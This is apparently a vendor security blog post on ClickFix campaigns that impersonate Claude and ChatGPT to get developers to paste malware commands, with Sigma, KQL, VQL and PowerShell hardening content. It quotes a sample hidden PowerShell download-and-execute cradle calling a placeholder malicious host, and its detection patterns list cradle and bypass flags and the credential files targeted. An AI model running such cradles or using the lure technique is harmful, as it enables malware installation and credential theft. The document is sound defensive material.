Fake Claude and ChatGPT ClickFix Campaigns Targeting Developers: Detection and Defense Guide

Security researchers are tracking a surge in campaigns that impersonate popular AI brands — Claude, ChatGPT, and similar services — to deliver malware to enterprise employees, with developers squarely in the crosshairs. These campaigns lean heavily on ClickFix-style social engineering: victims land on a convincing fake AI site or lure page, are presented with a fabricated "verification," "CAPTCHA," or "fix this error" prompt, and are instructed to copy and paste a command into the Windows Run dialog, a terminal, or PowerShell. That single paste executes the attacker's payload — no exploit, no vulnerability, no attachment required.

This is a technique-driven threat, not a CVE-driven one, which makes it more dangerous from a defensive standpoint: there is no patch. The attack surface is human trust in AI brands combined with a legitimate OS feature (copy/paste into a shell). Developers are high-value targets because their machines hold source code, cloud credentials, API keys, SSH keys, CI/CD tokens, and signing certificates. A single compromised developer workstation can become a supply-chain intrusion.

If your organization has developers using AI tooling — and in 2026, it does — you need detections for this behavior deployed now.

Technical Analysis: How the ClickFix Attack Chain Works

The Lure

Campaigns impersonating Claude and ChatGPT typically arrive through three vectors:

Malvertising and SEO poisoning — sponsored search results and poisoned organic results for queries like "Claude download," "ChatGPT desktop app," or "Claude Code install" push victims to lookalike domains.
Phishing emails and messages — lures claiming the recipient needs to "verify," "update," or "fix" their AI account or desktop client.
Compromised or typosquatted sites — fake documentation pages, fake GitHub repositories, and cloned landing pages that closely mimic Anthropic's and OpenAI's branding.

The ClickFix Mechanism

The core technique is consistent across campaigns:

The victim lands on the fake AI site.
The page presents a fake CAPTCHA, a "Verify you are human" widget, or an error dialog claiming a component failed to load.
JavaScript on the page silently copies a malicious command to the victim's clipboard (often via navigator.clipboard.writeText() triggered by the CAPTCHA click).
The victim is instructed to press Win+R (Run dialog), Ctrl+V, and Enter — or to paste into a Terminal/PowerShell window on macOS and Linux variants of the lure.
The pasted command is typically an obfuscated PowerShell one-liner: powershell -w hidden -c "iex(iwr 'https://malicious-domain/payload')" or an mshta.exe / curl | bash equivalent.
The payload pulls down second-stage malware — infostealers (targeting browser credentials, session cookies, crypto wallets, and developer secrets) or remote access tooling that hands the workstation to an operator.

Why Developers Specifically

The impersonation of developer-facing AI tools is deliberate. A developer who is told "your Claude Code / ChatGPT desktop session needs re-authentication" will paste a command into a terminal without the hesitation an ordinary user might have — terminals are their natural habitat. Post-compromise, attackers harvest .env files, .aws/credentials, .ssh/, browser-stored SSO sessions, and tokens for GitHub, npm, and package registries. This is precisely the foothold that precedes supply-chain compromises.

Exploitation Status

This is confirmed active, in-the-wild activity across multiple concurrent campaigns. ClickFix-family techniques have been broadly adopted by initial access brokers and infostealer operators throughout 2025 and into 2026 because they bypass email attachment scanning, EDR file-based detection, and browser download protections entirely — the "file" never exists until the victim types it.

Detection & Response

The highest-fidelity detection surface is process execution telemetry: the Run dialog and clipboard-paste chain produces distinctive parent/child relationships and command-line patterns. Focus your detection engineering there rather than chasing ephemeral lure domains.

YAML

---
title: ClickFix-Style PowerShell Execution from Explorer Run Dialog
id: 3f8a2c14-7b5e-4d91-a6c2-9e1f0b3d5a78
status: experimental
description: Detects PowerShell launched directly by explorer.exe with hidden window and remote payload retrieval patterns consistent with ClickFix paste-into-Run social engineering campaigns impersonating AI brands.
references:
  - https://attack.mitre.org/techniques/T1059/001/
  - https://attack.mitre.org/techniques/T1204/002/
  - https://www.darkreading.com/application-security/fake-claude-chatgpt-attacks-developers-risk
author: Security Arsenal
date: 2026/02/14
tags:
  - attack.execution
  - attack.t1059.001
  - attack.t1204.002
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith: '\explorer.exe'
  selection_image:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\mshta.exe'
      - '\curl.exe'
  selection_cli:
    CommandLine|contains:
      - 'iwr '
      - 'Invoke-WebRequest'
      - 'Invoke-RestMethod'
      - 'iex('
      - 'DownloadString'
      - 'start-bitstransfer'
      - 'curl.exe http'
  selection_hidden:
    CommandLine|contains:
      - '-w hidden'
      - '-windowstyle hidden'
      - '-ep bypass'
      - '-executionpolicy bypass'
      - '-enc '
      - '-ec '
  condition: selection_parent and selection_image and (selection_cli or selection_hidden)
falsepositives:
  - Rare; legitimate admin tooling is typically launched from a terminal, not the Run dialog
level: high
---
title: Suspicious Child Process of Windows Run Dialog Chain Executing Encoded Command
id: 9c1e4b72-3a6d-4f58-b2e7-5d0a8c1f6b34
status: experimental
description: Detects encoded or heavily obfuscated command execution by script interpreters spawned from user-initiated contexts, a hallmark of ClickFix clipboard-paste payloads distributed via fake Claude/ChatGPT sites.
references:
  - https://attack.mitre.org/techniques/T1027/
  - https://attack.mitre.org/techniques/T1059/
author: Security Arsenal
date: 2026/02/14
tags:
  - attack.defense_evasion
  - attack.t1027
  - attack.t1059
logsource:
  category: process_creation
  product: windows
detection:
  selection_image:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\mshta.exe'
      - '\wscript.exe'
      - '\cscript.exe'
  selection_encoded:
    CommandLine|contains:
      - ' -enc '
      - ' -ec '
      - '-encodedcommand'
      - 'FromBase64String'
      - '[char]'
      - '``'
  selection_user_parent:
    ParentImage|endswith:
      - '\explorer.exe'
      - '\chrome.exe'
      - '\msedge.exe'
      - '\firefox.exe'
      - '\brave.exe'
  condition: selection_image and selection_encoded and selection_user_parent
falsepositives:
  - Legitimate software updaters using encoded PowerShell (uncommon)
level: high
---
title: Browser-Spawned Script Interpreter Followed by Outbound Script Download
id: 5d7f2a91-8c4b-4e36-a1d9-2b8e6f0c4a52
status: experimental
description: Detects script interpreters spawned by web browsers making network connections, consistent with fake AI site ClickFix lures that chain browser-delivered instructions into payload retrieval.
references:
  - https://attack.mitre.org/techniques/T1105/
  - https://attack.mitre.org/techniques/T1189/
author: Security Arsenal
date: 2026/02/14
tags:
  - attack.command_and_control
  - attack.t1105
  - attack.initial_access
  - attack.t1189
logsource:
  category: network_connection
  product: windows
detection:
  selection_image:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\mshta.exe'
      - '\curl.exe'
  selection_port:
    DestinationPort:
      - 80
      - 443
      - 8080
  filter_cdn:
    DestinationHostname|endswith:
      - '.microsoft.com'
      - '.windowsupdate.com'
      - '.anthropic.com'
      - '.openai.com'
      - '.cloudflare.com'
  condition: selection_image and selection_port and not filter_cdn
falsepositives:
  - Package managers and developer CLI tools updating via PowerShell; tune with allowlists of known-good destinations
level: medium

KQL — Microsoft Sentinel / Defender

// Hunt: ClickFix-style paste-into-Run execution chains
// Looks for script interpreters spawned by explorer.exe with remote-download or hidden-window flags
// across the last 14 days. Run in Microsoft Sentinel or Defender Advanced Hunting.
let lookback = 14d;
DeviceProcessEvents
| where TimeGenerated > ago(lookback)
| where InitiatingProcessFileName =~ "explorer.exe"
| where FileName in~ ("powershell.exe", "pwsh.exe", "mshta.exe", "curl.exe", "wscript.exe")
| where ProcessCommandLine has_any (
    "iwr ", "Invoke-WebRequest", "Invoke-RestMethod", "DownloadString",
    "-enc ", "-ec ", "-w hidden", "-windowstyle hidden",
    "-ep bypass", "-executionpolicy bypass", "FromBase64String", "iex(")
| project TimeGenerated, DeviceName, AccountName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256, ReportId
| order by TimeGenerated desc
// Pivot: join against network events for the same device within 10 minutes of execution
| join kind=leftouter (
    DeviceNetworkEvents
    | where TimeGenerated > ago(lookback)
    | where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe", "mshta.exe", "curl.exe")
    | project NetTime=TimeGenerated, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessCommandLine
) on DeviceName
| where isempty(RemoteUrl) or abs(datetime_diff("minute", NetTime, TimeGenerated)) <= 10

VQL — Velociraptor

-- Hunt for ClickFix indicators on developer workstations:
-- 1) Script interpreters with Run-dialog-style command lines
-- 2) Recently modified PowerShell history files containing paste-executed download cradles
-- Run across the fleet via Velociraptor hunt.

SELECT Pid, Ppid, Name, CommandLine, Exe, Username, CreateTime
FROM pslist()
WHERE Name =~ '(?i)(powershell|pwsh|mshta|curl|wscript)'
  AND CommandLine =~ '(?i)(iwr |invoke-webrequest|downloadstring|-enc |-w hidden|-ep bypass|frombase64string)'

-- Second artifact: inspect PowerShell console history for pasted download cradles
SELECT FullPath, Size, Mtime,
       read_file(filename=FullPath) AS HistoryContent
FROM glob(globs='C:/Users/*/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt')
WHERE read_file(filename=FullPath) =~ '(?i)(iwr |invoke-webrequest|downloadstring|bit.ly|tinyurl|-enc )'

PowerShell

# ClickFix Hardening and Verification Script — run elevated on developer workstations
# 1) Enable PowerShell Script Block Logging and Module Logging (critical for detecting paste-executed cradles)
# 2) Enable AMSI-relevant transcription
# 3) Audit current exposure

$base = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell'

# Enable Script Block Logging
New-Item -Path "$base\ScriptBlockLogging" -Force | Out-Null
Set-ItemProperty -Path "$base\ScriptBlockLogging" -Name 'EnableScriptBlockLogging' -Value 1 -Type DWord

# Enable Module Logging
New-Item -Path "$base\ModuleLogging" -Force | Out-Null
Set-ItemProperty -Path "$base\ModuleLogging" -Name 'EnableModuleLogging' -Value 1 -Type DWord

# Enable Transcription to a central-friendly local path
New-Item -Path "$base\Transcription" -Force | Out-Null
Set-ItemProperty -Path "$base\Transcription" -Name 'EnableTranscripting' -Value 1 -Type DWord
Set-ItemProperty -Path "$base\Transcription" -Name 'OutputDirectory' -Value 'C:\PSTranscripts' -Type String
Set-ItemProperty -Path "$base\Transcription" -Name 'EnableInvocationHeader' -Value 1 -Type DWord

# Verify Windows Defender Attack Surface Reduction rules relevant to obfuscated scripts
# b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 = Block untrusted/unsigned processes from USB
# 56a863a9-875e-4185-98a7-b882c64b5ce5 = Block abuse of exploited vulnerable signed drivers
# 7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c = Block Adobe Reader child processes (example; adjust to your ASR baseline)
# Recommended for ClickFix specifically: block obfuscated scripts
$asrObfuscated = '5beb7efe-fd9a-4556-801d-275e5ffc04cc' # Block execution of potentially obfuscated scripts
$asrScriptFromMail = 'be9ba2d9-53ea-4cdc-84e5-9b1eeee46550' # Block executable content from email/webmail
Add-MpPreference -AttackSurfaceReductionRules_Ids $asrObfuscated -AttackSurfaceReductionRules_Actions Enabled
Add-MpPreference -AttackSurfaceReductionRules_Ids $asrScriptFromMail -AttackSurfaceReductionRules_Actions Enabled

# Audit: report current state
Write-Host "=== Script Block Logging ==="
Get-ItemProperty -Path "$base\ScriptBlockLogging" -Name 'EnableScriptBlockLogging' -ErrorAction SilentlyContinue
Write-Host "=== ASR Rules ==="
Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids
Write-Host "=== PowerShell Constrained Language candidates (verify AppLocker/WDAC policy separately) ==="
Write-Host "Confirm Event Log forwarding for Microsoft-Windows-PowerShell/Operational (Event ID 4104) to your SIEM."

Remediation and Hardening

Because this threat exploits user behavior and legitimate OS functionality rather than a patchable vulnerability, remediation is about reducing the paste-execute attack surface and improving visibility:

Deploy the detections above immediately. Script Block Logging (Event ID 4104) is the single highest-value telemetry source for ClickFix — the pasted cradle lands in the log even when the payload never touches disk. Forward it to your SIEM and alert on the Sigma patterns provided.
Enable Defender ASR rule "Block execution of potentially obfuscated scripts" (5beb7efe-fd9a-4556-801d-275e5ffc04cc) in audit mode first, then enforce. ClickFix cradles are almost universally obfuscated or encoded.
Constrain PowerShell where feasible. Developers need shells — but WDAC/AppLocker policies that enforce Constrained Language Mode for non-administrative interactive sessions, combined with signed-script requirements for automation, dramatically raise the bar. Segment: build agents and automation accounts get full language mode; interactive user sessions get constrained.
Block the lure infrastructure at the DNS/proxy layer. Add detections for newly registered domains containing claude, anthropic, chatgpt, openai, gpt- combined with keywords like download, desktop, verify, app, setup. Query your DNS logs for resolutions to such domains in the past 90 days and treat any hit as an investigation trigger.
User training targeted at developers — not generic awareness. Show engineers an actual ClickFix page. The specific behavior to kill: no legitimate software, AI tool, or CAPTCHA will ever ask you to paste a command into Win+R or a terminal. Anthropic and OpenAI distribute their tools exclusively through their official domains and official package managers (npm, Homebrew, official installers). Pin this in your internal developer channels.
Protect the secrets a compromise would expose. Assume a developer workstation gets popped. Audit how many engineers have long-lived cloud credentials in ~/.aws/credentials, plaintext tokens in .env files, or unmanaged SSH keys. Migrate to short-lived OIDC-based credentials, hardware-backed keys, and secrets managers so a single ClickFix success doesn't become a supply-chain event.
Incident response readiness. If a user reports pasting a command from a website: isolate the host, preserve PowerShell history (ConsoleHost_history.txt) and Event 4104 logs, pull the full command line from process telemetry, identify the second-stage URL, and check proxy logs for every host that contacted that domain. Rotate every credential and token present on the affected machine — browser cookies included, as infostealers exfiltrate session tokens that bypass MFA.

Related Resources

Security Arsenal Penetration Testing Services AlertMonitor Platform Book a SOC Assessment vulnerability-management Intel Hub